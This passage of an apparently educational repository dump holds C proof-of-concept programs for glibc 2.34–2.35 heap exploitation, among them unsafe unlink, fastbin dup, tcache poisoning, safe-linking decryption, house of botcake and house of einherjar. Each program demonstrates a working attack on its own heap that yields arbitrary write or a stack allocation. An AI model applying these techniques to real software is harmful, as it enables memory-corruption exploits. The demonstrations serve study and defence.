malloc.\\n\\n\");\n\n    //now we malloc 9 chunks\n    for(int i = 0;i < 9;i++){\n        chunk_lis[i] = (unsigned long*)malloc(0x90);\n    }\n\n    //put 7 chunks into tcache\n    printf(\"Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\\n\\n\");\n\n    for(int i = 3;i < 9;i++){\n        free(chunk_lis[i]);\n    }\n\n    printf(\"As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\\n\\n\");\n\n    //last tcache bin\n    free(chunk_lis[1]);\n    //now they are put into unsorted bin\n    free(chunk_lis[0]);\n    free(chunk_lis[2]);\n\n    //convert into small bin\n    printf(\"Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\\n\\n\");\n\n    malloc(0xa0);// size > 0x90\n\n    //now 5 tcache bins\n    printf(\"Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\\n\\n\");\n\n    malloc(0x90);\n    malloc(0x90);\n\n    printf(\"Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\\n\\n\",(void*)stack_var);\n\n    //change victim->bck\n    /*VULNERABILITY*/\n    chunk_lis[2][1] = (unsigned long)stack_var;\n    /*VULNERABILITY*/\n\n    //trigger the attack\n    printf(\"Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\\n\\n\");\n\n    calloc(1,0x90);\n\n    printf(\"Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\\n\\n\",(void*)stack_var[2],(void*)stack_var[4]);\n\n    //malloc and return our fake chunk on stack\n    target = malloc(0x90);   \n\n    printf(\"As you can see, next malloc(0x90) will return the region our fake chunk: %p\\n\",(void*)target);\n\n    assert(target == &stack_var[2]);\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.34/unsafe_unlink.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nuint64_t *chunk0_ptr;\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\tprintf(\"Welcome to unsafe unlink 2.0!\\n\");\n\tprintf(\"Tested in Ubuntu 20.04 64bit.\\n\");\n\tprintf(\"This technique can be used when you have a pointer at a known location to a region you can call unlink on.\\n\");\n\tprintf(\"The most common scenario is a vulnerable buffer that can be overflown and has a global pointer.\\n\");\n\n\tint malloc_size = 0x420; //we want to be big enough not to use tcache or fastbin\n\tint header_size = 2;\n\n\tprintf(\"The point of this exercise is to use free to corrupt the global chunk0_ptr to achieve arbitrary memory write.\\n\\n\");\n\n\tchunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0\n\tuint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1\n\tprintf(\"The global chunk0_ptr is at %p, pointing to %p\\n\", &chunk0_ptr, chunk0_ptr);\n\tprintf(\"The victim chunk we are going to corrupt is at %p\\n\\n\", chunk1_ptr);\n\n\tprintf(\"We create a fake chunk inside chunk0.\\n\");\n\tprintf(\"We setup the size of our fake chunk so that we can bypass the check introduced in https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d6db68e66dff25d12c3bc5641b60cbd7fb6ab44f\\n\");\n\tchunk0_ptr[1] = chunk0_ptr[-1] - 0x10;\n\tprintf(\"We setup the 'next_free_chunk' (fd) of our fake chunk to point near to &chunk0_ptr so that P->fd->bk = P.\\n\");\n\tchunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);\n\tprintf(\"We setup the 'previous_free_chunk' (bk) of our fake chunk to point near to &chunk0_ptr so that P->bk->fd = P.\\n\");\n\tprintf(\"With this setup we can pass this check: (P->fd->bk != P || P->bk->fd != P) == False\\n\");\n\tchunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);\n\tprintf(\"Fake chunk fd: %p\\n\",(void*) chunk0_ptr[2]);\n\tprintf(\"Fake chunk bk: %p\\n\\n\",(void*) chunk0_ptr[3]);\n\n\tprintf(\"We assume that we have an overflow in chunk0 so that we can freely change chunk1 metadata.\\n\");\n\tuint64_t *chunk1_hdr = chunk1_ptr - header_size;\n\tprintf(\"We shrink the size of chunk0 (saved as 'previous_size' in chunk1) so that free will think that chunk0 starts where we placed our fake chunk.\\n\");\n\tprintf(\"It's important that our fake chunk begins exactly where the known pointer points and that we shrink the chunk accordingly\\n\");\n\tchunk1_hdr[0] = malloc_size;\n\tprintf(\"If we had 'normally' freed chunk0, chunk1.previous_size would have been 0x430, however this is its new value: %p\\n\",(void*)chunk1_hdr[0]);\n\tprintf(\"We mark our fake chunk as free by setting 'previous_in_use' of chunk1 as False.\\n\\n\");\n\tchunk1_hdr[1] &= ~1;\n\n\tprintf(\"Now we free chunk1 so that consolidate backward will unlink our fake chunk, overwriting chunk0_ptr.\\n\");\n\tprintf(\"You can find the source of the unlink_chunk function at https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=1ecba1fafc160ca70f81211b23f688df8676e612\\n\\n\");\n\tfree(chunk1_ptr);\n\n\tprintf(\"At this point we can use chunk0_ptr to overwrite itself to point to an arbitrary location.\\n\");\n\tchar victim_string[8];\n\tstrcpy(victim_string,\"Hello!~\");\n\tchunk0_ptr[3] = (uint64_t) victim_string;\n\n\tprintf(\"chunk0_ptr is now pointing where we want, we use it to overwrite our victim string.\\n\");\n\tprintf(\"Original value: %s\\n\",victim_string);\n\tchunk0_ptr[0] = 0x4141414142424242LL;\n\tprintf(\"New Value: %s\\n\",victim_string);\n\n\t// sanity check\n\tassert(*(long *)victim_string == 0x4141414142424242L);\n}\n\n"
  },
  {
    "path": "glibc_2.35/decrypt_safe_linking.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nlong decrypt(long cipher)\n{\n\tputs(\"The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,\");\n\tputs(\"because of the 12bit sliding.\");\n\tputs(\"And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)\");\n\tlong key = 0;\n\tlong plain;\n\n\tfor(int i=1; i<6; i++) {\n\t\tint bits = 64-12*i;\n\t\tif(bits < 0) bits = 0;\n\t\tplain = ((cipher ^ key) >> bits) << bits;\n\t\tkey = plain >> 12;\n\t\tprintf(\"round %d:\\n\", i);\n\t\tprintf(\"key:    %#016lx\\n\", key);\n\t\tprintf(\"plain:  %#016lx\\n\", plain);\n\t\tprintf(\"cipher: %#016lx\\n\\n\", cipher);\n\t}\n\treturn plain;\n}\n\nint main()\n{\n\t/*\n\t * This technique demonstrates how to recover the original content from a poisoned\n\t * value because of the safe-linking mechanism.\n\t * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known\n\t * and the key (ASLR slide) is the same to the pointer's leading bits.\n\t * As a result, as long as the chunk where the pointer is stored is at the same page\n\t * of the pointer itself, the value of the pointer can be fully recovered.\n\t * Otherwise, we can also recover the pointer with the page-offset between the storer\n\t * and the pointer. What we demonstrate here is a special case whose page-offset is 0. \n\t * For demonstrations of other more general cases, plz refer to \n\t * https://github.com/n132/Dec-Safe-Linking\n\t */\n\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\t// step 1: allocate chunks\n\tlong *a = malloc(0x20);\n\tlong *b = malloc(0x20);\n\tprintf(\"First, we create chunk a @ %p and chunk b @ %p\\n\", a, b);\n\tmalloc(0x10);\n\tputs(\"And then create a padding chunk to prevent consolidation.\");\n\n\n\t// step 2: free chunks\n\tputs(\"Now free chunk a and then free chunk b.\");\n\tfree(a);\n\tfree(b);\n\tprintf(\"Now the freelist is: [%p -> %p]\\n\", b, a);\n\tprintf(\"Due to safe-linking, the value actually stored at b[0] is: %#lx\\n\", b[0]);\n\n\t// step 3: recover the values\n\tputs(\"Now decrypt the poisoned value\");\n\tlong plaintext = decrypt(b[0]);\n\n\tprintf(\"value: %p\\n\", a);\n\tprintf(\"recovered value: %#lx\\n\", plaintext);\n\tassert(plaintext == (long)a);\n}\n"
  },
  {
    "path": "glibc_2.35/fastbin_dup.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"This file demonstrates a simple double-free attack with fastbins.\\n\");\n\n\tprintf(\"Fill up tcache first.\\n\");\n\tvoid *ptrs[8];\n\tfor (int i=0; i<8; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\tprintf(\"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1, 8);\n\tint *b = calloc(1, 8);\n\tint *c = calloc(1, 8);\n\n\tprintf(\"1st calloc(1, 8): %p\\n\", a);\n\tprintf(\"2nd calloc(1, 8): %p\\n\", b);\n\tprintf(\"3rd calloc(1, 8): %p\\n\", c);\n\n\tprintf(\"Freeing the first one...\\n\");\n\tfree(a);\n\n\tprintf(\"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\t// free(a);\n\n\tprintf(\"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\tprintf(\"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tprintf(\"Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\\n\", a, b, a, a);\n\ta = calloc(1, 8);\n\tb = calloc(1, 8);\n\tc = calloc(1, 8);\n\tprintf(\"1st calloc(1, 8): %p\\n\", a);\n\tprintf(\"2nd calloc(1, 8): %p\\n\", b);\n\tprintf(\"3rd calloc(1, 8): %p\\n\", c);\n\n\tassert(a == c);\n}\n"
  },
  {
    "path": "glibc_2.35/fastbin_dup_consolidate.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\n/*\nOriginal reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8\n\nThis document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a\ndouble free to gain two pointers to the same large-sized chunk, which is usually difficult to do \ndirectly due to the previnuse check. Interestingly this also includes tcache-sized chunks of certain sizes.\n\nmalloc_consolidate(https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4714) essentially\nmerges all fastbin chunks with their neighbors, puts them in the unsorted bin and merges them with top\nif possible.\n\nAs of glibc version 2.35 it is called only in the following five places:\n1. _int_malloc: A large sized chunk is being allocated (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3965)\n2. _int_malloc: No bins were found for a chunk and top is too small (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4394)\n3. _int_free: If the chunk size is >= FASTBIN_CONSOLIDATION_THRESHOLD (65536) (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L4674)\n4. mtrim: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5041)\n5. __libc_mallopt: Always (https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L5463)\n\nWe will be targeting the first place, so we will need to allocate a chunk that does not belong in the \nsmall bin (since we are trying to get into the 'else' branch of this check: https://elixir.bootlin.com/glibc/glibc-2.35/source/malloc/malloc.c#L3901). \nThis means our chunk will need to be of size >= 0x400 (it is thus large-sized). Notably, the \nbiggest tcache sized chunk is 0x410, so if our chunk is in the [0x400, 0x410] range we can utilize \na double free to gain control of a tcache sized chunk.   \n*/\n\n#define CHUNK_SIZE 0x400\n\nint main() {\n\tprintf(\"This technique will make use of malloc_consolidate and a double free to gain a duplication in the tcache.\\n\");\n\tprintf(\"Lets prepare to fill up the tcache in order to force fastbin usage...\\n\\n\");\n\n\tvoid *ptr[7];\n\n\tfor(int i = 0; i < 7; i++)\n\t\tptr[i] = malloc(0x40);\n\n\tvoid* p1 = malloc(0x40);\n\tprintf(\"Allocate another chunk of the same size p1=%p \\n\", p1);\n\n\tprintf(\"Fill up the tcache...\\n\");\n\tfor(int i = 0; i < 7; i++)\n\t\tfree(ptr[i]);\n\n  \tprintf(\"Now freeing p1 will add it to the fastbin.\\n\\n\");\n  \tfree(p1);\n\n\tprintf(\"To trigger malloc_consolidate we need to allocate a chunk with large chunk size (>= 0x400)\\n\");\n\tprintf(\"which corresponds to request size >= 0x3f0. We will request 0x400 bytes, which will gives us\\n\");\n\tprintf(\"a tcache-sized chunk with chunk size 0x410 \");\n  \tvoid* p2 = malloc(CHUNK_SIZE);\n\n\tprintf(\"p2=%p.\\n\", p2);\n\n\tprintf(\"\\nFirst, malloc_consolidate will merge the fast chunk p1 with top.\\n\");\n\tprintf(\"Then, p2 is allocated from top since there is no free chunk bigger (or equal) than it. Thus, p1 = p2.\\n\");\n\n\tassert(p1 == p2);\n\n  \tprintf(\"We will double free p1, which now points to the 0x410 chunk we just allocated (p2).\\n\\n\");\n\tfree(p1); // vulnerability (double free)\n\tprintf(\"It is now in the tcache (or merged with top if we had initially chosen a chunk size > 0x410).\\n\");\n\n\tprintf(\"So p1 is double freed, and p2 hasn't been freed although it now points to a free chunk.\\n\");\n\n\tprintf(\"We will request 0x400 bytes. This will give us the 0x410 chunk that's currently in\\n\");\n\tprintf(\"the tcache bin. p2 and p1 will still be pointing to it.\\n\");\n\tvoid *p3 = malloc(CHUNK_SIZE);\n\n\tassert(p3 == p2);\n\n\tprintf(\"We now have two pointers (p2 and p3) that haven't been directly freed\\n\");\n\tprintf(\"and both point to the same tcache sized chunk. p2=%p p3=%p\\n\", p2, p3);\n\tprintf(\"We have achieved duplication!\\n\\n\");\n\n\tprintf(\"Note: This duplication would have also worked with a larger chunk size, the chunks would\\n\");\n\tprintf(\"have behaved the same, just being taken from the top instead of from the tcache bin.\\n\");\n\tprintf(\"This is pretty cool because it is usually difficult to duplicate large sized chunks\\n\");\n\tprintf(\"because they are resistant to direct double free's due to their PREV_INUSE check.\\n\");\n\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.35/fastbin_dup_into_stack.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tfprintf(stderr, \"This file extends on fastbin_dup.c by tricking calloc into\\n\"\n\t       \"returning a pointer to a controlled location (in this case, the stack).\\n\");\n\n\n\tfprintf(stderr,\"Fill up tcache first.\\n\");\n\n\tvoid *ptrs[7];\n\n\tfor (int i=0; i<7; i++) {\n\t\tptrs[i] = malloc(8);\n\t}\n\tfor (int i=0; i<7; i++) {\n\t\tfree(ptrs[i]);\n\t}\n\n\n\tunsigned long stack_var[4] __attribute__ ((aligned (0x10)));\n\n\tfprintf(stderr, \"The address we want calloc() to return is %p.\\n\", stack_var + 2);\n\n\tfprintf(stderr, \"Allocating 3 buffers.\\n\");\n\tint *a = calloc(1,8);\n\tint *b = calloc(1,8);\n\tint *c = calloc(1,8);\n\n\tfprintf(stderr, \"1st calloc(1,8): %p\\n\", a);\n\tfprintf(stderr, \"2nd calloc(1,8): %p\\n\", b);\n\tfprintf(stderr, \"3rd calloc(1,8): %p\\n\", c);\n\n\tfprintf(stderr, \"Freeing the first one...\\n\"); //First call to free will add a reference to the fastbin\n\tfree(a);\n\n\tfprintf(stderr, \"If we free %p again, things will crash because %p is at the top of the free list.\\n\", a, a);\n\n\tfprintf(stderr, \"So, instead, we'll free %p.\\n\", b);\n\tfree(b);\n\n\t//Calling free(a) twice renders the program vulnerable to Double Free\n\n\tfprintf(stderr, \"Now, we can free %p again, since it's not the head of the free list.\\n\", a);\n\tfree(a);\n\n\tfprintf(stderr, \"Now the free list has [ %p, %p, %p ]. \"\n\t\t\"We'll now carry out our attack by modifying data at %p.\\n\", a, b, a, a);\n\tunsigned long *d = calloc(1,8);\n\n\tfprintf(stderr, \"1st calloc(1,8): %p\\n\", d);\n\tfprintf(stderr, \"2nd calloc(1,8): %p\\n\", calloc(1,8));\n\tfprintf(stderr, \"Now the free list has [ %p ].\\n\", a);\n\tfprintf(stderr, \"Now, we have access to %p while it remains at the head of the free list.\\n\"\n\t\t\"so now we are writing a fake free size (in this case, 0x20) to the stack,\\n\"\n\t\t\"so that calloc will think there is a free chunk there and agree to\\n\"\n\t\t\"return a pointer to it.\\n\", a);\n\tstack_var[1] = 0x20;\n\n\tfprintf(stderr, \"Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\\n\", a);\n\tfprintf(stderr, \"Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\\n\");\n\tfprintf(stderr, \"^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\\n\");\n\tunsigned long ptr = (unsigned long)stack_var;\n\tunsigned long addr = (unsigned long) d;\n\t/*VULNERABILITY*/\n\t*d = (addr >> 12) ^ ptr;\n\t/*VULNERABILITY*/\n\n\tfprintf(stderr, \"3rd calloc(1,8): %p, putting the stack address on the free list\\n\", calloc(1,8));\n\n\tvoid *p = calloc(1,8);\n\n\tfprintf(stderr, \"4th calloc(1,8): %p\\n\", p);\n\tassert((unsigned long)p == (unsigned long)stack_var + 0x10);\n}\n"
  },
  {
    "path": "glibc_2.35/fastbin_reverse_into_tcache.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <assert.h>\n\nconst size_t allocsize = 0x40;\n\nint main(){\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"\\n\"\n\t\t   \"This attack is intended to have a similar effect to the unsorted_bin_attack,\\n\"\n\t\t   \"except it works with a small allocation size (allocsize <= 0x78).\\n\"\n\t\t   \"The goal is to set things up so that a call to malloc(allocsize) will write\\n\"\n\t\t   \"a large unsigned value to the stack.\\n\\n\");\n\tprintf(\"After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\\n\"\n\t\t   \"An heap address leak is needed to perform this attack.\\n\"\n\t\t   \"The same patch also ensures the chunk returned by tcache is properly aligned.\\n\\n\");\n\n\t// Allocate 14 times so that we can free later.\n\tchar* ptrs[14];\n\tsize_t i;\n\tfor (i = 0; i < 14; i++) {\n\t\tptrs[i] = malloc(allocsize);\n\t}\n\t\n\tprintf(\"First we need to free(allocsize) at least 7 times to fill the tcache.\\n\"\n\t  \t   \"(More than 7 times works fine too.)\\n\\n\");\n\t\n\t// Fill the tcache.\n\tfor (i = 0; i < 7; i++) free(ptrs[i]);\n\t\n\tchar* victim = ptrs[7];\n\tprintf(\"The next pointer that we free is the chunk that we're going to corrupt: %p\\n\"\n\t\t   \"It doesn't matter if we corrupt it now or later. Because the tcache is\\n\"\n\t\t   \"already full, it will go in the fastbin.\\n\\n\", victim);\n\tfree(victim);\n\t\n\tprintf(\"Next we need to free between 1 and 6 more pointers. These will also go\\n\"\n\t\t   \"in the fastbin. If we don't control the data on the stack,\\n\"\n\t\t   \"then we need to free exactly 6 more pointers, otherwise the attack will\\n\"\n\t\t   \"cause a segmentation fault when traversing the linked list.\\n\"\n\t\t   \"But if we control at least 8-byte on the stack, we know where the stack is,\\n\"\n\t\t   \"and we want to control more data on the stack, a single free is sufficient\\n\"\n\t\t   \"by forging a mangled NULL on the stack to terminate list traversal.\\n\\n\");\n\t\n\t// Fill the fastbin.\n\tfor (i = 8; i < 14; i++) free(ptrs[i]);\n\t\n\t// Create an array on the stack and initialize it with garbage.\n\tsize_t stack_var[6];\n\tmemset(stack_var, 0xcd, sizeof(stack_var));\n\t\n\tprintf(\"The stack address that we intend to target: %p\\n\"\n\t\t   \"It's current value is %p\\n\", &stack_var[2], (char*)stack_var[2]);\n\t\n\tprintf(\"Now we use a vulnerability such as a buffer overflow or a use-after-free\\n\"\n\t\t\t\"to overwrite the next pointer at address %p\\n\\n\", victim);\n\t\n\t//------------VULNERABILITY-----------\n\t\n\t// Overwrite linked list pointer in victim.\n\t// The following operation assumes the address of victim is known, thus requiring\n\t// a heap leak.\n\t*(size_t**)victim = (size_t*)((long)&stack_var[0] ^ ((long)victim >> 12));\n\t\n\t//------------------------------------\n\t\n\tprintf(\"The next step is to malloc(allocsize) 7 times to empty the tcache.\\n\\n\");\n\t\n\t// Empty tcache.\n\tfor (i = 0; i < 7; i++) ptrs[i] = malloc(allocsize);\n\t\n\tprintf(\"Let's just print the contents of our array on the stack now,\\n\"\n\t\t\t\"to show that it hasn't been modified yet.\\n\\n\");\n\t\n\tfor (i = 0; i < 6; i++) printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n\t\n\tprintf(\"\\n\"\n\t\t   \"The next allocation triggers the stack to be overwritten. The tcache\\n\"\n\t\t   \"is empty, but the fastbin isn't, so the next allocation comes from the\\n\"\n\t\t   \"fastbin. Also, 7 chunks from the fastbin are used to refill the tcache.\\n\"\n\t\t   \"Those 7 chunks are copied in reverse order into the tcache, so the stack\\n\"\n\t\t   \"address that we are targeting ends up being the first chunk in the tcache.\\n\"\n\t\t   \"It contains a pointer to the next chunk in the list, which is why a heap\\n\"\n\t\t   \"pointer is written to the stack.\\n\"\n\t\t   \"\\n\"\n\t\t   \"Earlier we said that the attack will also work if we free fewer than 6\\n\"\n\t\t   \"extra pointers to the fastbin, but only if the value on the stack is zero.\\n\"\n\t\t   \"That's because the value on the stack is treated as a next pointer in the\\n\"\n\t\t   \"linked list and it will trigger a crash if it isn't a valid pointer or null.\\n\"\n\t\t   \"\\n\"\n\t\t   \"The contents of our array on the stack now look like this:\\n\\n\");\n\t\n\tmalloc(allocsize);\n\t\n\tfor (i = 0; i < 6; i++) printf(\"%p: %p\\n\", &stack_var[i], (char*)stack_var[i]);\n\t\n\tchar *q = malloc(allocsize);\n\tprintf(\"\\n\"\n\t\t\t\"Finally, if we malloc one more time then we get the stack address back: %p\\n\", q);\n\t\n\tassert(q == (char *)&stack_var[2]);\n\t\n\treturn 0;\n}\n"
  },
  {
    "path": "glibc_2.35/house_of_botcake.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <string.h>\n#include <unistd.h>\n#include <assert.h>\n\n\nint main()\n{\n    /*\n     * This attack should bypass the restriction introduced in\n     * https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d\n     * If the libc does not include the restriction, you can simply double free the victim and do a\n     * simple tcache poisoning\n     * And thanks to @anton00b and @subwire for the weird name of this technique */\n\n    // disable buffering so _IO_FILE does not interfere with our heap\n    setbuf(stdin, NULL);\n    setbuf(stdout, NULL);\n\n    // introduction\n    puts(\"This file demonstrates a powerful tcache poisoning attack by tricking malloc into\");\n    puts(\"returning a pointer to an arbitrary location (in this demo, the stack).\");\n    puts(\"This attack only relies on double free.\\n\");\n\n    // prepare the target\n    intptr_t stack_var[4];\n    puts(\"The address we want malloc() to return, namely,\");\n    printf(\"the target address is %p.\\n\\n\", stack_var);\n\n    // prepare heap layout\n    puts(\"Preparing heap layout\");\n    puts(\"Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.\");\n    intptr_t *x[7];\n    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){\n        x[i] = malloc(0x100);\n    }\n    intptr_t *prev = malloc(0x100);\n    printf(\"Allocating a chunk for later consolidation: prev @ %p\\n\", prev);\n    intptr_t *a = malloc(0x100);\n    printf(\"Allocating the victim chunk: a @ %p\\n\", a);\n    puts(\"Allocating a padding to prevent consolidation.\\n\");\n    malloc(0x10);\n\n    // cause chunk overlapping\n    puts(\"Now we are able to cause chunk overlapping\");\n    puts(\"Step 1: fill up tcache list\");\n    for(int i=0; i<7; i++){\n        free(x[i]);\n    }\n    puts(\"Step 2: free the victim chunk so it will be added to unsorted bin\");\n    free(a);\n\n    puts(\"Step 3: free the previous chunk and make it consolidate with the victim chunk.\");\n    free(prev);\n\n    puts(\"Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\\n\");\n    malloc(0x100);\n    /*VULNERABILITY*/\n    free(a);// a is already freed\n    /*VULNERABILITY*/\n\n    puts(\"Now we have the chunk overlapping primitive:\");\n    puts(\"This primitive will allow directly reading/writing objects, heap metadata, etc.\\n\");\n    puts(\"Below will use the chunk overlapping primitive to perform a tcache poisoning attack.\");\n\n    puts(\"Get the overlapping chunk from the unsorted bin.\");\n    intptr_t *unsorted = malloc(0x100 + 0x100 + 0x10);\n    puts(\"Use the overlapping chunk to control victim->next pointer.\");\n    // mangle the pointer since glibc 2.32\n    unsorted[0x110/sizeof(intptr_t)] = ((long)a >> 12) ^ (long)stack_var;\n\n    puts(\"Get back victim chunk from tcache. This will put target to tcache top.\");\n    a = malloc(0x100);\n    int a_size = a[-1] & 0xff0;\n    printf(\"victim @ %p, size: %#x, end @ %p\\n\", a, a_size, (void *)a+a_size);\n\n    puts(\"Get the target chunk from tcache.\");\n    intptr_t *target = malloc(0x100);\n    target[0] = 0xcafebabe;\n\n    printf(\"target @ %p == stack_var @ %p\\n\", target, stack_var);\n    assert(stack_var[0] == 0xcafebabe);\n    return 0;\n}\n"
  },
  {
    "path": "glibc_2.35/house_of_einherjar.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <stdint.h>\n#include <malloc.h>\n#include <assert.h>\n\nint main()\n{\n\t/*\n\t * This modification to The House of Enherjar, made by Huascar Tejeda - @htejeda, works with the tcache-option enabled on glibc-2.32.\n\t * The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc().\n\t * It has the additional requirement of a heap leak.\n\t * \n\t * After filling the tcache list to bypass the restriction of consolidating with a fake chunk,\n\t * we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap.\n\t * The following restriction for normal bins won't allow us to create chunks bigger than the memory\n\t * allocated from the system in this arena:\n\t *\n\t * https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */\n\n\tsetbuf(stdin, NULL);\n\tsetbuf(stdout, NULL);\n\n\tprintf(\"Welcome to House of Einherjar 2!\\n\");\n\tprintf(\"Tested on Ubuntu 20.10 64bit (glibc-2.32).\\n\");\n\tprintf(\"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\\n\");\n\n\tprintf(\"This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\\n\");\n\tprintf(\"Next, we use tcache poisoning to hijack control flow.\\n\"\n\t\t   \"Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\"\n\t\t   \"now tcache poisoning requires a heap leak.\\n\");\n\n\t// prepare the target,\n\t// due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n\t// it must be properly aligned.\n\tintptr_t stack_var[0x10];\n\tintptr_t *target = NULL;\n\n\t// choose a properly aligned target address\n\tfor(int i=0; i<0x10; i++) {\n\t\tif(((long)&stack_var[i] & 0xf) == 0) {\n\t\t\ttarget = &stack_var[i];\n\t\t\tbreak;\n\t\t}\n\t}\n\tassert(target != NULL);\n\tprintf(\"\\nThe address we want malloc() to return is %p.\\n\", (char *)target);\n\n\tprintf(\"\\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\\n\");\n\tintptr_t *a = malloc(0x38);\n\n\t// create a fake chunk\n\tprintf(\"\\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\\n\");\n\tprintf(\"We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\\n\");\n\n\ta[0] = 0;\t// prev_size (Not Used)\n\ta[1] = 0x60; // size\n\ta[2] = (size_t) a; // fwd\n\ta[3] = (size_t) a; // bck\n\n\tprintf(\"Our fake chunk at %p looks like:\\n\", a);\n\tprintf(\"prev_size (not used): %#lx\\n\", a[0]);\n\tprintf(\"size: %#lx\\n\", a[1]);\n\tprintf(\"fwd: %#lx\\n\", a[2]);\n\tprintf(\"bck: %#lx\\n\", a[3]);\n\n\tprintf(\"\\nWe allocate 0x28 bytes for 'b'.\\n\"\n\t\t   \"This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\\n\"\n\t\t   \"After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\\n\");\n\tuint8_t *b = (uint8_t *) malloc(0x28);\n\tprintf(\"b: %p\\n\", b);\n\n\tint real_b_size = malloc_usable_size(b);\n\tprintf(\"Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\\n\", real_b_size);\n\n\t/* In this case it is easier if the chunk size attribute has a least significant byte with\n\t * a value of 0x00. The least significant byte of this will be 0x00, because the size of \n\t * the chunk includes the amount requested plus some amount required for the metadata. */\n\tprintf(\"\\nWe allocate 0xf8 bytes for 'c'.\\n\");\n\tuint8_t *c = (uint8_t *) malloc(0xf8);\n\n\tprintf(\"c: %p\\n\", c);\n\n\tuint64_t* c_size_ptr = (uint64_t*)(c - 8);\n\t// This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit\n\n\tprintf(\"\\nc.size: %#lx\\n\", *c_size_ptr);\n\tprintf(\"c.size is: (0x100) | prev_inuse = 0x101\\n\");\n\n\tprintf(\"We overflow 'b' with a single null byte into the metadata of 'c'\\n\");\n\t// VULNERABILITY\n\tb[real_b_size] = 0;\n\t// VULNERABILITY\n\tprintf(\"c.size: %#lx\\n\", *c_size_ptr);\n\n\tprintf(\"It is easier if b.size is a multiple of 0x100 so you \"\n\t\t   \"don't change the size of b, only its prev_inuse bit\\n\");\n\n\t// Write a fake prev_size to the end of b\n\tprintf(\"\\nWe write a fake prev_size to the last %lu bytes of 'b' so that \"\n\t\t   \"it will consolidate with our fake chunk\\n\", 